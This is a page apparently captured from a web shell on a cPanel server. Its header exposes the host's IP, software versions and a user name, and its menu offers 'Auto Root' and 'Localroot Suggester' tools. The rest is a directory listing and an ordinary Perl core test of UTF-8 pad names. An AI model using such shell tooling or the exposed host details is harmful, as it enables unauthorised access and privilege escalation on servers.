Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
ext /
XS-APItest /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
BHK.pm
260
B
-r--r--r--
2014-12-27 11:48
Block.pm
9
B
-r--r--r--
2014-12-27 11:48
Markers.pm
245
B
-r--r--r--
2014-12-27 11:48
Null.pm
3
B
-r--r--r--
2014-12-27 11:48
addissub.t
481
B
-r--r--r--
2014-12-27 11:48
arrayexpr.t
7.85
KB
-r--r--r--
2014-12-27 11:48
autoload.t
4.03
KB
-r--r--r--
2014-12-27 11:48
blockasexpr.t
1.46
KB
-r--r--r--
2014-12-27 11:48
blockhooks-csc.t
2.26
KB
-r--r--r--
2014-12-27 11:48
blockhooks.t
5.21
KB
-r--r--r--
2014-12-27 11:48
call.t
8.9
KB
-r--r--r--
2014-12-27 11:49
call_checker.t
4.03
KB
-r--r--r--
2014-12-27 11:49
caller.t
1.78
KB
-r--r--r--
2014-12-27 11:48
callregexec.t
2.46
KB
-r--r--r--
2014-12-27 11:49
check_warnings.t
495
B
-r--r--r--
2014-12-27 11:48
cleanup.t
1.41
KB
-r--r--r--
2014-12-27 11:48
clone-with-stack.t
1.45
KB
-r--r--r--
2015-01-10 12:06
cophh.t
280
B
-r--r--r--
2014-12-27 11:48
coplabel.t
112
B
-r--r--r--
2014-12-27 11:48
copstash.t
156
B
-r--r--r--
2014-12-27 11:48
copyhints.t
123
B
-r--r--r--
2014-12-27 11:48
customop.t
2.42
KB
-r--r--r--
2014-12-27 11:49
eval-filter.t
743
B
-r--r--r--
2014-12-27 11:48
exception.t
616
B
-r--r--r--
2014-12-27 11:48
fetch_pad_names.t
10.58
KB
-r--r--r--
2014-12-27 11:49
gotosub.t
351
B
-r--r--r--
2014-12-27 11:48
grok.t
2.07
KB
-r--r--r--
2014-12-27 11:49
gv_autoload4.t
2.01
KB
-r--r--r--
2014-12-27 11:48
gv_fetchmeth.t
2.3
KB
-r--r--r--
2014-12-27 11:48
gv_fetchmeth_autoload.t
3.38
KB
-r--r--r--
2014-12-27 11:48
gv_fetchmethod_flags.t
1.86
KB
-r--r--r--
2014-12-27 11:48
gv_init.t
489
B
-r--r--r--
2014-12-27 11:48
handy.t
15.33
KB
-r--r--r--
2014-12-27 11:49
hash.t
17.07
KB
-r--r--r--
2014-12-27 11:48
keyword_multiline.t
259
B
-r--r--r--
2014-12-27 11:48
keyword_plugin.t
1.15
KB
-r--r--r--
2014-12-27 11:48
labelconst.aux
146
B
-r--r--r--
2014-12-27 11:48
labelconst.t
2.63
KB
-r--r--r--
2014-12-27 11:48
labelconst_utf8.aux
194
B
-r--r--r--
2014-12-27 11:48
lexsub.t
524
B
-r--r--r--
2014-12-27 11:48
loopblock.t
1.46
KB
-r--r--r--
2014-12-27 11:48
looprest.t
1.39
KB
-r--r--r--
2014-12-27 11:48
lvalue.t
800
B
-r--r--r--
2014-12-27 11:48
magic.t
804
B
-r--r--r--
2014-12-27 11:49
magic_chain.t
115
B
-r--r--r--
2014-12-27 11:48
mro.t
237
B
-r--r--r--
2014-12-27 11:48
multicall.t
1.32
KB
-r--r--r--
2014-12-27 11:48
my_cxt.t
1.28
KB
-r--r--r--
2014-12-27 11:48
my_exit.t
790
B
-r--r--r--
2014-12-27 11:48
newCONSTSUB.t
2.58
KB
-r--r--r--
2014-12-27 11:48
op.t
359
B
-r--r--r--
2014-12-27 11:48
op_contextualize.t
120
B
-r--r--r--
2014-12-27 11:48
op_list.t
151
B
-r--r--r--
2014-12-27 11:48
overload.t
2.21
KB
-r--r--r--
2014-12-27 11:48
pad_scalar.t
1.83
KB
-r--r--r--
2014-12-27 11:48
peep.t
1013
B
-r--r--r--
2014-12-27 11:48
pmflag.t
192
B
-r--r--r--
2014-12-27 11:48
postinc.t
800
B
-r--r--r--
2014-12-27 11:48
printf.t
1.05
KB
-r--r--r--
2014-12-27 11:49
ptr_table.t
916
B
-r--r--r--
2014-12-27 11:48
push.t
746
B
-r--r--r--
2014-12-27 11:48
refs.t
578
B
-r--r--r--
2014-12-27 11:48
rmagical.t
823
B
-r--r--r--
2014-12-27 11:48
rv2cv_op_cv.t
115
B
-r--r--r--
2014-12-27 11:48
savehints.t
123
B
-r--r--r--
2014-12-27 11:48
scopelessblock.t
1.59
KB
-r--r--r--
2014-12-27 11:48
sort.t
411
B
-r--r--r--
2014-12-27 11:48
stmtasexpr.t
893
B
-r--r--r--
2014-12-27 11:48
stmtsasexpr.t
949
B
-r--r--r--
2014-12-27 11:48
stuff_modify_bug.t
151
B
-r--r--r--
2014-12-27 11:48
stuff_svcur_bug.t
260
B
-r--r--r--
2014-12-27 11:48
subcall.t
179
B
-r--r--r--
2014-12-27 11:48
sviscow.t
229
B
-r--r--r--
2014-12-27 11:48
svpeek.t
3.16
KB
-r--r--r--
2014-12-27 11:49
svpv.t
1.01
KB
-r--r--r--
2014-12-27 11:48
svpv_magic.t
1.29
KB
-r--r--r--
2014-12-27 11:48
svsetsv.t
1015
B
-r--r--r--
2014-12-27 11:48
swaplabel.t
7.06
KB
-r--r--r--
2014-12-27 11:48
swaptwostmts.t
2.79
KB
-r--r--r--
2014-12-27 11:48
sym-hook.t
730
B
-r--r--r--
2014-12-27 11:48
temp_lv_sub.t
532
B
-r--r--r--
2014-12-27 11:48
underscore_length.t
338
B
-r--r--r--
2014-12-27 11:48
utf16_to_utf8.t
2.09
KB
-r--r--r--
2014-12-27 11:48
utf8.t
13.46
KB
-r--r--r--
2014-12-27 11:48
whichsig.t
653
B
-r--r--r--
2014-12-27 11:48
xs_special_subs.t
6.54
KB
-r--r--r--
2014-12-27 11:48
xs_special_subs_require.t
7.46
KB
-r--r--r--
2014-12-27 11:48
xsub_h.t
2.81
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
use strict; use warnings; use Encode (); use Test::More tests => 77; use XS::APItest qw( fetch_pad_names pad_scalar ); local $SIG{__WARN__} = sub { warn $_[0] unless $_[0] =~ /Wide character in print at/ }; ok defined &fetch_pad_names, "sub imported"; ok defined &pad_scalar; my $cv = sub { my $test; }; ok fetch_pad_names($cv), "Fetch working."; is ref fetch_pad_names($cv), ref [], 'Fetch returns an arrayref'; is @{fetch_pad_names($cv)}, 1, 'Sub has one lexical.'; is fetch_pad_names($cv)->[0], '$test', "Fetching a simple scalar works."; $cv = sub { use utf8; my $zest = 'invariant'; my $zèst = 'latin-1'; return [pad_scalar(1, "zèst"), pad_scalar(1, "z\350st"), pad_scalar(1, "z\303\250st")]; }; my $names_av = fetch_pad_names($cv); my $flagged = my $unflagged = "\$z\x{c3}\x{a8}st"; Encode::_utf8_on($flagged); general_tests( $cv->(), $names_av, { results => [ { cmp => 'latin-1', msg => 'Fetches through UTF-8.' }, { cmp => 'latin-1', msg => 'Fetches through Latin-1.' }, { cmp => 'NOT_IN_PAD', msg => "Doesn't fetch using octets." }, ], pad_size => { total => { cmp => 2, msg => 'Sub has two lexicals.' }, utf8 => { cmp => 0, msg => 'Sub has no UTF-8 encoded vars.' }, invariant => { cmp => 2, msg => 'Sub has two invariant vars.' }, }, vars => [ { name => '$zest', msg => 'Sub has [\$zest].', type => 'ok' }, { name => "\$z\x{e8}st", msg => "Sub has [\$t\x{e8}st].", type => 'ok' }, { name => $unflagged, msg => "Sub doesn't have [$unflagged].", type => 'not ok' }, { name => $flagged, msg => "But does have it when flagged.", type => 'ok' }, ], }); $cv = do { my $ascii = 'Defined'; sub { use utf8; my $партнеры = $ascii; return [$партнеры, pad_scalar(1, "партнеры"), pad_scalar(1, "\320\277\320\260\321\200\321\202\320\275\320\265\321\200\321\213")]; }; }; $names_av = fetch_pad_names($cv); my $hex_var = "\$\x{43f}\x{430}\x{440}\x{442}\x{43d}\x{435}\x{440}\x{44b}"; $flagged = $unflagged = "\$\320\277\320\260\321\200\321\202\320\275\320\265\321\200\321\213"; Encode::_utf8_on($flagged); my $russian_var = do { use utf8; '$партнеры'; }; general_tests( $cv->(), $names_av, { results => [ { cmp => 'Defined', msg => 'UTF-8 fetching works.' }, { cmp => 'Defined', msg => 'pad_scalar fetch.' }, { cmp => 'NOT_IN_PAD', msg => "Doesn't fetch using octets." }, ], pad_size => { total => { cmp => 2, msg => 'Sub has two lexicals, including those it closed over.' }, utf8 => { cmp => 1, msg => 'UTF-8 in the pad.' }, invariant => { cmp => 1, msg => '' }, }, vars => [ { name => '$ascii', msg => 'Sub has [$ascii].', type => 'ok' }, { name => $russian_var, msg => "Sub has [$russian_var].", type => 'ok' }, { name => $hex_var, msg => "Sub has [$hex_var].", type => 'ok' }, { name => $unflagged, msg => "Sub doesn't have [$unflagged]", type => 'not ok' }, { name => $flagged, msg => "But does have it when flagged.", type => 'ok' }, ], }); my $leon1 = "\$L\x{e9}on"; my $leon2 = my $leon3 = "\$L\x{c3}\x{a9}on"; Encode::_utf8_on($leon2); local $@; $cv = eval <<"END"; sub { use utf8; my \$Leon = 'Invariant'; my $leon1 = 'Latin-1'; return [ \$Leon, $leon1, $leon2, pad_scalar(1, "L\x{e9}on"), pad_scalar(1, "L\x{c3}\x{a9}on")]; }; END my $err = $@; ok !$err, $@; $names_av = fetch_pad_names($cv); general_tests( $cv->(), $names_av, { results => [ { cmp => 'Invariant', msg => '' }, { cmp => 'Latin-1', msg => "Fetched through [$leon1]" }, { cmp => 'Latin-1', msg => "Fetched through [$leon2]" }, { cmp => 'Latin-1', msg => 'pad_scalar fetch.' }, { cmp => 'NOT_IN_PAD', msg => "Doesn't fetch using octets." }, ], pad_size => { total => { cmp => 2, msg => 'Sub has two lexicals' }, utf8 => { cmp => 0, msg => 'Latin-1 not upgraded to UTF-8.' }, invariant => { cmp => 2, msg => '' }, }, vars => [ { name => '$Leon', msg => 'Sub has [$Leon].', type => 'ok' }, { name => $leon1, msg => "Sub has [$leon1].", type => 'ok' }, { name => $leon2, msg => "Sub has [$leon2].", type => 'ok' }, { name => $leon3, msg => "Sub doesn't have [$leon3]", type => 'not ok' }, ], }); { use utf8; my $Cèon = 4; my $str1 = "\$C\x{e8}on"; my $str2 = my $str3 = "\$C\x{c3}\x{a8}on"; Encode::_utf8_on($str2); local $@; $cv = eval <<"END_EVAL"; sub { [ \$Cèon, $str1, $str2 ] }; END_EVAL $err = $@; ok !$err; $names_av = fetch_pad_names($cv); general_tests( $cv->(), $names_av, { results => [ ({ SKIP => 1 }) x 3 ], pad_size => { total => { cmp => 1, msg => 'Sub has one lexical, which it closed over.' }, utf8 => { cmp => 0, msg => '' }, invariant => { cmp => 1, msg => '' }, }, vars => [ { name => '$Ceon', msg => "Sub doesn't have [\$Ceon].", type => 'not ok' }, map({ { name => $_, msg => "Sub has [$_].", type => 'ok' } } $str1, $str2 ), { name => $str3, msg => "Sub doesn't have [$str3]", type => 'not ok' }, ], }); } $cv = sub { use utf8; our $戦国 = 10; { no strict 'refs'; my ($symref, $encoded_sym) = (__PACKAGE__ . "::戦国") x 2; utf8::encode($encoded_sym); return [ $戦国, ${$symref}, ${$encoded_sym} ]; } }; my $flagged_our = my $unflagged_our = "\$\346\210\246\345\233\275"; Encode::_utf8_on($flagged_our); $names_av = fetch_pad_names($cv); general_tests( $cv->(), $names_av, { results => [ { cmp => '10', msg => 'Fetched UTF-8 our var.' }, { cmp => '10', msg => "Symref fetch of an our works." }, { cmp => undef, msg => "..and using the encoded form yields undef." }, ], pad_size => { total => { cmp => 3, msg => 'Sub has three lexicals.' }, utf8 => { cmp => 1, msg => 'Japanese stored as UTF-8.' }, invariant => { cmp => 2, msg => '' }, }, vars => [ { name => "\$\x{6226}\x{56fd}", msg => "Sub has [\$\x{6226}\x{56fd}].", type => 'ok' }, { name => $flagged_our, msg => "Sub has [$flagged_our].", type => 'ok' }, { name => $unflagged_our, msg => "Sub doesn't have [$unflagged_our]", type => 'not ok' }, ], }); { use utf8; { my $test; BEGIN { $test = "t\x{c3}\x{a8}st"; Encode::_utf8_on($test); } use constant test => $test; } $cv = sub { my $tèst = 'Good'; return [ $tèst, pad_scalar(1, "tèst"), #"UTF-8" pad_scalar(1, "t\350st"), #"Latin-1" pad_scalar(1, "t\x{c3}\x{a8}st"), #"Octal" pad_scalar(1, test()), #'UTF-8 enc' ]; }; $names_av = fetch_pad_names($cv); general_tests( $cv->(), $names_av, { results => [ { cmp => 'Good', msg => 'Fetched through Perl.' }, { cmp => 'Good', msg => "pad_scalar: UTF-8 works." }, { cmp => 'Good', msg => "pad_scalar: Latin-1 works." }, { cmp => 'NOT_IN_PAD', msg => "pad_scalar: Doesn't fetch through octets." }, { cmp => 'Good', msg => "pad_scalar: UTF-8-through-encoding works." }, ], pad_size => { total => { cmp => 1, msg => 'Sub has one lexical.' }, utf8 => { cmp => 0, msg => '' }, invariant => { cmp => 1, msg => '' }, }, vars => [], }); } $cv = do { use utf8; sub { my $ニコニコ = 'katakana'; my $にこにこ = 'hiragana'; return [ $ニコニコ, $にこにこ, pad_scalar(1, "にこにこ"), pad_scalar(1, "\x{306b}\x{3053}\x{306b}\x{3053}"), pad_scalar(1, "\343\201\253\343\201\223\343\201\253\343\201\223"), pad_scalar(1, "ニコニコ"), pad_scalar(1, "\x{30cb}\x{30b3}\x{30cb}\x{30b3}"), pad_scalar(1, "\343\203\213\343\202\263\343\203\213\343\202\263"), ]; } }; $names_av = fetch_pad_names($cv); general_tests( $cv->(), $names_av, { results => [ { cmp => 'katakana', msg => '' }, { cmp => 'hiragana', msg => '' }, { cmp => 'hiragana', msg => '' }, { cmp => 'hiragana', msg => '' }, { cmp => 'NOT_IN_PAD', msg => '' }, { cmp => 'katakana', msg => '' }, { cmp => 'katakana', msg => '' }, { cmp => 'NOT_IN_PAD', msg => '' }, ], pad_size => { total => { cmp => 2, msg => 'Sub has two lexicals.' }, utf8 => { cmp => 2, msg => '' }, invariant => { cmp => 0, msg => '' }, }, vars => [], }); { { my $utf8_e; BEGIN { $utf8_e = "e"; Encode::_utf8_on($utf8_e); } use constant utf8_e => $utf8_e; } my $e = 'Invariant'; is pad_scalar(1, "e"), pad_scalar(1, utf8_e), 'Fetches the same thing, even if invariant but with differing utf8ness.'; } sub general_tests { my ($results, $names_av, $tests) = @_; for my $i (0..$#$results) { next if $tests->{results}[$i]{SKIP}; is $results->[$i], $tests->{results}[$i]{cmp}, $tests->{results}[$i]{msg}; } is @$names_av, $tests->{pad_size}{total}{cmp}, $tests->{pad_size}{total}{msg}; is grep( Encode::is_utf8($_), @$names_av), $tests->{pad_size}{utf8}{cmp}; is grep( !Encode::is_utf8($_), @$names_av), $tests->{pad_size}{invariant}{cmp}; for my $var (@{$tests->{vars}}) { no warnings 'experimental::smartmatch'; if ($var->{type} eq 'ok') { ok $var->{name} ~~ $names_av, $var->{msg}; } else { ok !($var->{name} ~~ $names_av), $var->{msg}; } } }